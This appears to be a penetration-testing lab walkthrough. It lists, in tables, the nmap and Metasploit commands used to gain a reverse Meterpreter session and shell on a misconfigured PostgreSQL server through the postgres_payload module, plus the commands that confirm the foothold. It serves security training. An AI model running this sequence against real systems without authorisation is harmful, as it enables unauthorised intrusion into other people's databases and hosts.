PostgreSQL Exploitation
PostgreSQL is a widely used open-source relational database system, often exposed on networks for application connectivity. Misconfigured instances — particularly those using default or weak credentials — remain a common target in penetration testing labs. In this case, the postgres_payload exploit leverages a database procedure to execute arbitrary code, delivering a Meterpreter session rather than a plain shell.
Discovery
| Command | Description |
|---|---|
| nmap -A -p- -T5 [target IP] | Scans all ports with service versions and OS detection to identify the target's open services. |
Attack
| Command | Description |
|---|---|
| msfconsole | Launches the Metasploit Framework console. |
| search postgres | Searches for modules related to PostgreSQL. |
| use exploit/linux/postgres/postgres_payload | Selects the PostgreSQL for Linux payload execution exploit. |
| show options | Displays the required parameters for the exploit and payload. |
| set rhosts [target IP] | Sets the target's IP address. |
| set lhost [my IP] | Sets the attacker's IP address for the reverse connection. |
| exploit -j -z | Launches the exploit as a background job. Unlike the FTP and Samba exploits, this one delivers a Meterpreter payload instead of a plain shell. |
Verification
| Command | Description |
|---|---|
| sessions -l | Lists active sessions. |
| sessions -i [id] | Interacts with a specific session, using the ID shown by sessions -l. |
| shell | Drops from the Meterpreter session into a native Linux shell, where standard commands become available. |
| whoami | Confirms the privilege level of the compromised shell — in this case, the limited postgres service account rather than root. |
| uname -a | Displays the target system's kernel information. |
| ls | Lists files in the current directory to confirm shell access. |
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.